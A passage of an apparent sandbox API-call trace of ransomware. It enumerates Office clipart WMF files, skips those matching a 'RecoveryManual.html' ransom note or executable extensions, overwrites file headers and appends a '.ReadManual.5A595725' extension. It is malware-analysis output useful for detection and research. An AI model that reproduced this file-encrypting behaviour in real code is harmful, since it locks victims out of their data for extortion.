CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d40, lpName=0x0) returned 0x184 [0265.325] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.326] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.326] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.328] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.328] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d40) returned 0x2f0000 [0265.328] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.328] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38599689055) returned 1 [0265.328] CloseHandle (hObject=0x184) returned 1 [0265.328] SetSecurityInfo () returned 0x57 [0265.328] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.328] CloseHandle (hObject=0x194) returned 1 [0265.328] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0265.328] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0090027.WMF" | out: lpString1="J0090027.WMF") returned="J0090027.WMF" [0265.329] lstrcmpiW (lpString1="J0090027.WMF", lpString2="RecoveryManual.html") returned -1 [0265.329] StrStrIW (lpFirst="J0090027.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.329] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.329] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.329] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" [0265.329] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.ReadManual.5A595725" [0265.329] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.ReadManual.5A595725") returned 87 [0265.329] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38599786717) returned 1 [0265.329] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf")) returned 0x20 [0265.329] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.330] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21268) returned 1 [0265.330] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5314, lpName=0x0) returned 0x184 [0265.330] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.330] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.330] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.332] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.332] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5314) returned 0x2f0000 [0265.333] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.333] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38600159443) returned 1 [0265.333] CloseHandle (hObject=0x184) returned 1 [0265.333] SetSecurityInfo () returned 0x57 [0265.333] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.333] CloseHandle (hObject=0x194) returned 1 [0265.333] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0265.333] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0090087.WMF" | out: lpString1="J0090087.WMF") returned="J0090087.WMF" [0265.333] lstrcmpiW (lpString1="J0090087.WMF", lpString2="RecoveryManual.html") returned -1 [0265.333] StrStrIW (lpFirst="J0090087.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.333] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.333] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.333] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.333] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.333] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.333] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.333] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.333] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.334] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.334] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.334] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.334] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.334] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.334] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.334] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" [0265.334] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.ReadManual.5A595725" [0265.334] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.ReadManual.5A595725") returned 87 [0265.334] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38600255379) returned 1 [0265.334] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf")) returned 0x20 [0265.335] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.335] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=46936) returned 1 [0265.335] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb758, lpName=0x0) returned 0x184 [0265.335] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.336] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.336] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.338] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.338] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb758) returned 0x2f0000 [0265.339] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.339] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38600821344) returned 1 [0265.339] CloseHandle (hObject=0x184) returned 1 [0265.340] SetSecurityInfo () returned 0x57 [0265.340] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.340] CloseHandle (hObject=0x194) returned 1 [0265.340] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0265.340] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0090089.WMF" | out: lpString1="J0090089.WMF") returned="J0090089.WMF" [0265.340] lstrcmpiW (lpString1="J0090089.WMF", lpString2="RecoveryManual.html") returned -1 [0265.340] StrStrIW (lpFirst="J0090089.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.340] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.340] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.340] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" [0265.340] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.ReadManual.5A595725" [0265.340] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.ReadManual.5A595725") returned 87 [0265.340] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38600918083) returned 1 [0265.340] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 0x20 [0265.341] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.342] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15760) returned 1 [0265.342] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d90, lpName=0x0) returned 0x184 [0265.342] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.342] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.342] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.344] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.344] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d90) returned 0x2f0000 [0265.345] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.345] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38601346040) returned 1 [0265.345] CloseHandle (hObject=0x184) returned 1 [0265.345] SetSecurityInfo () returned 0x57 [0265.345] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.345] CloseHandle (hObject=0x194) returned 1 [0265.345] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0265.345] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0090149.WMF" | out: lpString1="J0090149.WMF") returned="J0090149.WMF" [0265.345] lstrcmpiW (lpString1="J0090149.WMF", lpString2="RecoveryManual.html") returned -1 [0265.345] StrStrIW (lpFirst="J0090149.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.345] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.345] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.346] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.346] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" [0265.346] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.ReadManual.5A595725" [0265.346] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF.ReadManual.5A595725") returned 87 [0265.346] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38601443917) returned 1 [0265.346] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf")) returned 0x20 [0265.346] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.346] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28212) returned 1 [0265.346] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e34, lpName=0x0) returned 0x184 [0265.346] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.347] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.347] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.349] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.349] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e34) returned 0x2f0000 [0265.349] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.349] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38601818015) returned 1 [0265.349] CloseHandle (hObject=0x184) returned 1 [0265.350] SetSecurityInfo () returned 0x57 [0265.350] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.350] CloseHandle (hObject=0x194) returned 1 [0265.350] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0265.350] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0090390.WMF" | out: lpString1="J0090390.WMF") returned="J0090390.WMF" [0265.350] lstrcmpiW (lpString1="J0090390.WMF", lpString2="RecoveryManual.html") returned -1 [0265.350] StrStrIW (lpFirst="J0090390.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.350] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.350] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.350] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" [0265.350] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.ReadManual.5A595725" [0265.350] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF.ReadManual.5A595725") returned 87 [0265.350] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38601912243) returned 1 [0265.350] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf")) returned 0x20 [0265.351] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.351] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17638) returned 1 [0265.351] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x44e6, lpName=0x0) returned 0x184 [0265.352] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.352] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.352] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.354] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.354] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x44e6) returned 0x2f0000 [0265.354] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.354] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38602322908) returned 1 [0265.355] CloseHandle (hObject=0x184) returned 1 [0265.355] SetSecurityInfo () returned 0x57 [0265.355] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.355] CloseHandle (hObject=0x194) returned 1 [0265.355] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, 